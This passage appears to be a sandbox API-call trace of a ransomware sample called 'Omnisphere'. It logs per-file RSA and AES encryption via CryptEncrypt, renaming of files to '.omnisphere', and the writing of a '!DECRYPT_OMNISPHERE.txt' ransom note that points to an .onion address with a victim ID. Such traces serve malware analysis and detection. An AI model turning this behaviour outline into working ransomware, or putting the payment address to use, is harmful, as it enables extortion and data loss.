pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.712] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.712] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.712] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.712] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.712] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.712] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.712] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.712] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.712] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.712] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.712] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.712] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.712] CryptDestroyKey (hKey=0x1639b68) returned 1 [0126.712] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0126.712] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x445, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.712] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.713] GetProcessHeap () returned 0x1600000 [0126.713] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b4) returned 0x16eb5e0 [0126.713] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\o oGOvrjloOl-.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\o ogovrjlool-.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\o oGOvrjloOl-.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\o ogovrjlool-.lnk.omnisphere")) returned 1 [0126.714] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\o oGOvrjloOl-.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\o oGOvrjloOl-.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\o oGOvrjloOl-.lnk.omnisphere.id" [0126.714] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\o oGOvrjloOl-.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\o ogovrjlool-.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.714] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.715] CloseHandle (hObject=0x3c0) returned 1 [0126.715] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.716] CloseHandle (hObject=0x288) returned 1 [0126.716] SetEndOfFile (hFile=0x28c) returned 1 [0126.716] FlushFileBuffers (hFile=0x28c) returned 1 [0126.719] CloseHandle (hObject=0x28c) returned 1 [0126.720] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\o oGOvrjloOl-.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.720] GetProcessHeap () returned 0x1600000 [0126.720] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16ed038 [0126.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.720] GetProcessHeap () returned 0x1600000 [0126.720] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d5960 [0126.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d5960, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.720] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.720] GetProcessHeap () returned 0x1600000 [0126.720] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d7fe8 [0126.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d7fe8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.720] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.720] GetProcessHeap () returned 0x1600000 [0126.720] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16d9b20 [0126.720] PathCombineW (in: pszDest=0x16d9b20, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.720] GetProcessHeap () returned 0x1600000 [0126.721] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16e0a08 [0126.721] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.721] WriteFile (in: hFile=0x28c, lpBuffer=0x16e0a08*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16e0a08*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.721] CloseHandle (hObject=0x28c) returned 1 [0126.721] GetProcessHeap () returned 0x1600000 [0126.721] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16ed038 | out: hHeap=0x1600000) returned 1 [0126.721] GetProcessHeap () returned 0x1600000 [0126.721] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162e4c8 [0126.721] PathCombineW (in: pszDest=0x162e4c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.721] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.722] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.722] CloseHandle (hObject=0x28c) returned 1 [0126.722] GetProcessHeap () returned 0x1600000 [0126.722] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162e4c8 | out: hHeap=0x1600000) returned 1 [0126.722] GetProcessHeap () returned 0x1600000 [0126.722] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.722] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x204b318c, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x204b318c, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x204b318c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x43e, dwReserved0=0x0, dwReserved1=0xd3, cFileName="ocb63v1.lnk", cAlternateFileName="")) returned 1 [0126.722] GetProcessHeap () returned 0x1600000 [0126.722] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x98) returned 0x167c0c8 [0126.722] PathCombineW (in: pszDest=0x167c0c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="ocb63v1.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ocb63v1.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ocb63v1.lnk" [0126.722] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.722] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ocb63v1.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ocb63v1.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.723] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1086) returned 1 [0126.723] GetTickCount () returned 0x115f9fc [0126.723] GetTickCount () returned 0x115f9fc [0126.723] GetTickCount () returned 0x115f9fc [0126.723] GetTickCount () returned 0x115f9fc [0126.723] GetTickCount () returned 0x115f9fc [0126.723] GetTickCount () returned 0x115f9fc [0126.723] GetTickCount () returned 0x115f9fc [0126.723] GetTickCount () returned 0x115f9fc [0126.723] GetTickCount () returned 0x115f9fc [0126.723] GetTickCount () returned 0x115f9fc [0126.723] GetTickCount () returned 0x115f9fc [0126.723] GetTickCount () returned 0x115f9fc [0126.723] GetTickCount () returned 0x115f9fc [0126.723] GetTickCount () returned 0x115f9fc [0126.723] GetTickCount () returned 0x115f9fc [0126.723] GetTickCount () returned 0x115f9fc [0126.723] GetTickCount () returned 0x115f9fc [0126.723] GetTickCount () returned 0x115f9fc [0126.723] GetTickCount () returned 0x115f9fc [0126.723] GetTickCount () returned 0x115f9fc [0126.724] GetTickCount () returned 0x115f9fc [0126.724] GetTickCount () returned 0x115f9fc [0126.724] GetTickCount () returned 0x115f9fc [0126.724] GetTickCount () returned 0x115f9fc [0126.724] GetTickCount () returned 0x115f9fc [0126.724] GetTickCount () returned 0x115f9fc [0126.724] GetTickCount () returned 0x115f9fc [0126.724] GetTickCount () returned 0x115f9fc [0126.724] GetTickCount () returned 0x115f9fc [0126.724] GetTickCount () returned 0x115f9fc [0126.724] GetTickCount () returned 0x115f9fc [0126.724] GetTickCount () returned 0x115f9fc [0126.724] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16683d8) returned 1 [0126.725] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0126.725] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.725] CryptDestroyKey (hKey=0x1639b28) returned 1 [0126.725] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0126.725] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x43e, lpName=0x0) returned 0x288 [0126.725] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x43e) returned 0x1480000 [0126.725] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668bd0) returned 1 [0126.726] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16396e8) returned 1 [0126.726] CryptSetKeyParam (hKey=0x16396e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.726] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.726] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.726] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.726] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.726] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, 